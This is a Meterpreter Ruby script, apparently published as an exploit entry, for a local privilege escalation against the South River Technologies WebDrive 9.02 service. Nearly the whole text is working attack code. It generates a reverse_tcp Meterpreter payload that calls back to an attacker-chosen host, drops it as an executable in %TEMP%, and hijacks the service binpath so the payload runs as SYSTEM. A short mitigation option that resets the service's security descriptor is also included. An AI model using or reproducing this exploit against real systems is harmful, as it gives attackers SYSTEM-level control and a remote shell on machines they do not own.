South River Technologies WebDrive Service 9.02 build 2232 – Bad Security Descriptor Privilege Escalation
## # South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation. # # This module exploits a privilege escalation vulnerability in South River Technologies WebDrive. # Due to an empty security descriptor, a local attacker can gain elevated privileges. # Tested on South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3. # Vulnerability mitigation featured. # # Credit: # - Discovery - Nine:Situations:Group::bellick # - Meterpreter script - Trancer # # References: # - http://retrogod.altervista.org/9sg_south_river_priv.html # - http://www.rec-sec.com/2010/01/26/srt-webdrive-privilege-escalation/ # - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4606 # - http://osvdb.org/show/osvdb/59080 # # mtrancer[@]gmail.com # http://www.rec-sec.com ## # # Options # opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu"], "-m" => [ false, "Mitigate"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # # Default parameters # rhost = Rex::Socket.source_address("1.2.3.4") rport = 4444 sname = 'WebDriveService' pname = 'wdService.exe' # # Option parsing # opts.parse(args) do |opt, idx, val| case opt when "-h" print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.") print_line(opts.usage) raise Rex::Script::Completed when "-m" client.sys.process.get_processes().each do |m| if ( m['name'] == pname ) print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") # Set correct service security descriptor to mitigate the vulnerability print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.") client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", nil, {'Hidden' => 'true'}) end end raise Rex::Script::Completed when "-r" rhost = val when "-p" rport = val.to_i end end client.sys.process.get_processes().each do |m| if ( m['name'] == pname ) print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") # Build out the exe payload. pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") pay.datastore['LHOST'] = rhost pay.datastore['LPORT'] = rport raw = pay.generate exe = Msf::Util::EXE.to_win32pe(client.framework, raw) # Place our newly created exe in %TEMP% tempdir = client.fs.file.expand_path("%TEMP%") tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" print_status("Sending EXE payload '#{tempexe}'.") fd = client.fs.file.new(tempexe, "wb") fd.write(exe) fd.close # Stop the vulnerable service print_status("Stopping service \"#{sname}\"...") client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'}) # Set exe payload as service binpath print_status("Setting \"#{sname}\" to #{tempexe}...") client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) sleep(1) # Restart the service print_status("Restarting the \"#{sname}\" service...") client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'}) # Our handler to recieve the callback. handler = client.framework.exploits.create("multi/handler") handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" handler.datastore['LHOST'] = rhost handler.datastore['LPORT'] = rport handler.datastore['ExitOnSession'] = false handler.exploit_simple( 'Payload' => handler.datastore['PAYLOAD'], 'RunAsJob' => true ) # Set service binpath back to normal client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'}) end end |